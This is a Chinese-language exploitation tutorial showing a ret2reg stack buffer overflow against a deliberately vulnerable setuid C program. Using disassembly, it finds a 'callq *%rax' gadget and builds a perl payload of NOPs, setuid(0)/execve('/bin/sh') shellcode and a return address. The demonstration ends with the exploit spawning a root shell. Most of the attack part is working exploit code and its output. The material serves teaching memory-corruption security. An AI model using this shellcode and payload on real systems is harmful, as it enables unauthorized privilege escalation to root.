在(六)中我们提到了使用固定栈地址的攻击方式,但在实际中,系统默认的参数不会为0
cat /proc/sys/kernel/randomize_va_space
vulnerableret2reg.c
#include
#include
void evilfunction(char* input)
{
char buffer[1000];
strcpy(buffer, input);
}
int main(int argc, char** argv)
{
evilfunction(argv[1]);
return 0;
}
char *strcpy(char *dest, const char *src);
evilfunction 函数的汇编
00000000004004c4 :
4004c4: 55 push %rbp
4004c5: 48 89 e5 mov %rsp,%rbp
4004c8: 48 81 ec 00 04 00 00 sub $0x400,%rsp
4004cf: 48 89 bd 08 fc ff ff mov %rdi,-0x3f8(%rbp)
4004d6: 48 8b 95 08 fc ff ff mov -0x3f8(%rbp),%rdx
4004dd: 48 8d 85 10 fc ff ff lea -0x3f0(%rbp),%rax
4004e4: 48 89 d6 mov %rdx,%rsi
4004e7: 48 89 c7 mov %rax,%rdi
4004ea: e8 d9 fe ff ff callq 4003c8
4004ef: c9 leaveq
4004f0: c3 retq
gcc -z execstack -o vulnerableret2reg vulnerableret2reg.c
objdump -d vulnerableret2reg |grep rax > rax.txt
cat rax.txt
4003b4: 0f 1f 40 00 nopl 0x0(%rax)
4003ed: 50 push %rax
400410: 48 8b 05 89 04 20 00 mov 0x200489(%rip),%rax # 6008a0 <_dynamic 0x190="">
400417: 48 85 c0 test %rax,%rax
40041c: ff d0 callq *%rax
400447: 48 8b 05 92 04 20 00 mov 0x200492(%rip),%rax # 6008e0
40045d: 48 39 d8 cmp %rbx,%rax
400462: 66 0f 1f 44 00 00 nopw 0x0(%rax,%rax,1)
400468: 48 83 c0 01 add $0x1,%rax
40046c: 48 89 05 6d 04 20 00 mov %rax,0x20046d(%rip) # 6008e0
400473: ff 14 c5 f8 06 60 00 callq *0x6006f8(,%rax,8)
40047a: 48 8b 05 5f 04 20 00 mov 0x20045f(%rip),%rax # 6008e0
400481: 48 39 d8 cmp %rbx,%rax
400494: 66 66 66 2e 0f 1f 84 data32 data32 nopw %cs:0x0(%rax,%rax,1)
4004b3: 48 85 c0 test %rax,%rax
4004be: ff e0 jmpq *%rax
4004dd: 48 8d 85 10 fc ff ff lea -0x3f0(%rbp),%rax
4004e7: 48 89 c7 mov %rax,%rdi
400500: 48 8b 45 f0 mov -0x10(%rbp),%rax
400504: 48 83 c0 08 add $0x8,%rax
400508: 48 8b 00 mov (%rax),%rax
40050b: 48 89 c7 mov %rax,%rdi
400522: 66 66 66 66 66 2e 0f data32 data32 data32 data32 nopw %cs:0x0(%rax,%rax,1)
40057c: 0f 1f 40 00 nopl 0x0(%rax)
4005c9: 48 8b 05 18 01 20 00 mov 0x200118(%rip),%rax # 6006e8 <__ctor_list__>
4005d0: 48 83 f8 ff cmp $0xffffffffffffffff,%rax
4005db: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1)
4005e4: ff d0 callq *%rax
4005e6: 48 8b 03 mov (%rbx),%rax
4005e9: 48 83 f8 ff cmp $0xffffffffffffffff,%rax
40041c:ff d0 callq *%rax
指令地址是40041c
lea -0x3f0(%rbp),%rax
也就是buffer的起始地址是相对于rbp -0x3f0 =十进制1008在加上8就是函数返回地址了
`perl -e 'print "\x90"x16;print "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";print "\x90"x957;print "\x1c\x04\x40\x00"'`
当函数退出的时候,rip的地址指向了40041c, 而执行机器指令 callq *%rax, 此时rax里的值是buffer数组的起始地址,那么将开始执行buffer数组里的内容。我们只要将buffer数组填入我们所想要执行的shellcode,那么这次攻击完美产生。
gcc -z execstack -o vulnerableret2reg vulnerableret2reg.c
chmod u+s vulnerableret2reg
su test
./vulnerableret2reg `perl -e 'print "\x90"x16;print "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";print "\x90"x957;print "\x1c\x04\x40\x00"'`
sh4.1#whoami
root
一切如设计的一样,你成为了root.
1. 你需要buffer数组足够长,能够填满你的shellcode。
2. 你需要程序后面没有对寄存器进行操作。
3. 你需要你的程序里本身有对寄存器的操作,并能得到代码所在的地址。
4. 当然你还需要在编译的时候指定可以在栈中执行的代码。
5. 为了变成root 你需要程序有s的权限。